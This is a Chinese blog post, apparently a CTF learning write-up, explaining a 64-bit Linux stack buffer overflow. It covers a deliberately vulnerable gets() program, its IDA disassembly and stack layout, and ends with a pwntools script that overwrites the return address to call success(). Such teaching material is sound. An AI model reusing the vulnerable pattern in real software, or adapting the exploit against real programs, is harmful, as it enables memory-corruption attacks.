前言

最近读了读汇编语言这本书,顺便从汇编的角度回顾一下 Linux 下的栈溢出。


测试程序

来自 ctfwiki:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
    char s[12];
    gets(s);
    puts(s);
    return;
}
int main(int argc, char **argv) {
    vulnerable();
    return 0;
}

然后编译:

gcc -no-pie -fno-stack-protector stack.c -o stack

IDA 静态分析

直接去看 vulnerable 函数的汇编代码:

.text:000000000040054A                                public vulnerable
.text:000000000040054A                vulnerable      proc near               ; CODE XREF: main+14↓p
.text:000000000040054A
.text:000000000040054A                s               = byte ptr -0Ch
.text:000000000040054A
.text:000000000040054A                ; __unwind {
.text:000000000040054A 55                             push    rbp
.text:000000000040054B 48 89 E5                       mov     rbp, rsp
.text:000000000040054E 48 83 EC 10                    sub     rsp, 10h
.text:0000000000400552 48 8D 45 F4                    lea     rax, [rbp+s]
.text:0000000000400556 48 89 C7                       mov     rdi, rax
.text:0000000000400559 B8 00 00 00 00                 mov     eax, 0
.text:000000000040055E E8 DD FE FF FF                 call    _gets
.text:0000000000400563 48 8D 45 F4                    lea     rax, [rbp+s]
.text:0000000000400567 48 89 C7                       mov     rdi, rax        ; s
.text:000000000040056A E8 C1 FE FF FF                 call    _puts
.text:000000000040056F 90                             nop
.text:0000000000400570 C9                             leave
.text:0000000000400571 C3                             retn
.text:0000000000400571                ; } // starts at 40054A
.text:0000000000400571                vulnerable      endp

main 函数在调用 vulnerable 函数时执行的是 call 这个汇编代码,因为是 64 位程序,所以此时的栈大概是这样的情况:

 0x00    返回地址/rsp指向的地方

然后执行了 push rbp,就变成了:

 0x00    返回地址
-0x08    执行main函数时rbp寄存器的数据/rsp指向的地方

sub rsp, 10h:

 0x00    返回地址
-0x08    执行main函数时rbp寄存器的数据
-0x18    rsp指向的地方

接下来就是准备一个地址给 gets 函数调用,这个地址在 IDA 中显示为 rbp+s,其实就是 rbp + 0xF4(补码),即rbp - 0x0c,此时:

 0x00    返回地址
-0x08    执行main函数时rbp寄存器的数据
-0x14    读入字符串s的存放地址
-0x18    rsp指向的地方

栈是从高向低生长的,而读入字符串到内存则是从低向高存放的,而且 gets 函数并不会校验读入字符串的长度,所以只要控制输入字符串的长度,使其刚好覆盖返回地址,就可以控制下一段执行的代码,在这个环境中,所需的偏移即为 0x14。

顺带说一下还原 rbp 的方式,在函数返回之前,leave 会将 rbp 赋给 rsp,然后从栈中取出 rbp,就相当于:

mov     rsp, rbp
pop     rbp

其实就是函数最开始的两行代码的反向:

push    rbp
mov     rbp, rsp

虽然我们在覆盖返回地址的时候顺便也把栈里放着的 rbp 给覆盖了,但是 rbp 并不会影响之后执行的汇编代码。

最后写出的脚本:

from pwn import *

context.log_level = "debug"

target = process("./stack")
elf = ELF("./stack")
gdb.attach(proc.pidof(target)[0])

success_addr = 0x0000000000400537
payload = "T" * 0xc + "F" * 8 + p64(success_addr)
target.sendline(payload)
target.recv()
target.interactive()
target.close()

控制返回地址来调用 success 函数。


参考:

ctfwiki

从c语言的角度看栈溢出


Pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-057
struts2系列漏洞 S2-053